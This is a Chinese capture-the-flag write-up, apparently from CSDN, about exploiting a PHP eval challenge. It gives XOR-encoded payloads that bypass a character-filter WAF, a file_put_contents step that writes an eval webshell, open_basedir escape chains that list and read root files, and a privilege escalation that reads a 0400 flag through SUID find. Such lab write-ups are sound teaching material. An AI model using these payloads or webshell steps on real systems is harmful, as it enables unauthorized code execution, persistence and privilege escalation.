RCE赛题(目录限制、函数禁用、数字字母过滤、SUID提权)

文章讲述了如何通过PHP中的异或操作绕过WAF,利用SUID权限提升访问,以及针对disable_functions和open_basedir限制的攻击和防御方法。
摘要由CSDN通过智能技术生成

题目源码:index.php

<?php
include('waf.php');
session_start();
show_source(__FILE__);
error_reporting(0);
$data=$_GET['data'];
if(waf($data)){
    eval($data);
}else{
    echo "no!";
}
?>

waf.php,暂时未知,后面传马了可以看到,先通地fuzz看过虑了哪些

数字、字母过滤了,取反也过滤了,那么就用异或^来构造个phpinfo();看下信息

?data=((%8F%97%8F%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff))();

成功执行,这两个地方需要突破

open_basedir只允许网站根目录和/tmp

disable_fuctions函数禁用比较多

file_put_contents函数没有禁用,可以通过构造这个函数写马

file_put_contents("cmd.php","<?php eval($_POST[a]);?>");

一步一步异或构造:

<?php

//取反后再异或同样长度的%FF

$txt='<?php eval($_POST[a]);?>';
echo strlen($txt);
print(urlencode(~$txt));

//
24
(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%C4%C0%C1)^(24个%FF)
((%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))((%9C%92%9B%D1%8F%97%8F)^(%FF%FF%FF%FF%FF%FF%FF),(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%C4%C0%C1)^(%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF));

成功写马cmd.php,用蚁剑连接,https://改成http://才能连接成功

flag就在根目录,但cat不出来,看一下flag的文件权限为0400,看来需要提权了

利用SUID提权

查找Suid命令

find / -perm -u=s -type f 2>/dev/null

find命令有suid权限,利用find命令的-exec 参数读取flag

find /flag -exec cat {} \;

成功拿到flag

————————————————————————

题后:

waf.php内容

<?php

function waf($data){ 
    if(preg_match('/[b-df-km-uw-z0-9\+\~\{\}]+/i',$data)){
        return False;
    }else{
        return True;
    }
}

这里放开了a e l v四个字母,应该可以利用eval命令

绕过open_basedir读取目录列表和文件

读取根目录文件列表

mkdir('a');chdir('a');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('.'));

?data=((%92%94%9B%96%8D)^(%ff%ff%ff%ff%ff))((%9E)^(%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%9E)^(%ff));((%96%91%96%A0%8C%9A%8B)^(%ff%ff%ff%ff%ff%ff%ff))((%90%8F%9A%91%A0%9D%9E%8C%9A%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff),(%D1%D1)^(%ff%ff));
((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%96%91%96%A0%8C%9A%8B)^(%ff%ff%ff%ff%ff%ff%ff))((%90%8F%9A%91%A0%9D%9E%8C%9A%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff),(%D0)^(%ff));((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))(%22.%22));


Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => flag [8] => home [9] => lib [10] => lib64 [11] => media [12] => mnt [13] => opt [14] => proc [15] => root [16] => run [17] => sbin [18] => srv [19] => sys [20] => tmp [21] => usr [22] => var )

读文件,这里开始怎么都读不成功,写马后蚁剑中才看到flag权限不对

读flag文件内容

mkdir('b');chdir('b');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/flag');

?data=((%92%94%9B%96%8D)^(%ff%ff%ff%ff%ff))((%9C)^(%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%9C)^(%ff));((%96%91%96%A0%8C%9A%8B)^(%ff%ff%ff%ff%ff%ff%ff))((%90%8F%9A%91%A0%9D%9E%8C%9A%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff),(%D1%D1)^(%ff%ff));
((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%96%91%96%A0%8C%9A%8B)^(%ff%ff%ff%ff%ff%ff%ff))((%90%8F%9A%91%A0%9D%9E%8C%9A%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff),(%D0)^(%ff));((
%8C%97%90%88%A0%8C%90%8A%8D%9C%9A)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))((%D0%99%93%9E%98)^(%ff%ff%ff%ff%ff));

参考文章:
php异或绕过_菜菜zhao的博客-CSDN博客

PHP不包括字母,数字和下划线的webshell_php $ []++-CSDN博客

php异或绕过_菜菜zhao的博客-CSDN博客

绕过disable_function总结_Z3eyOnd的博客-CSDN博客

Linux利用Suid提权实验_find suid 提权_谦谦子牧的博客-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值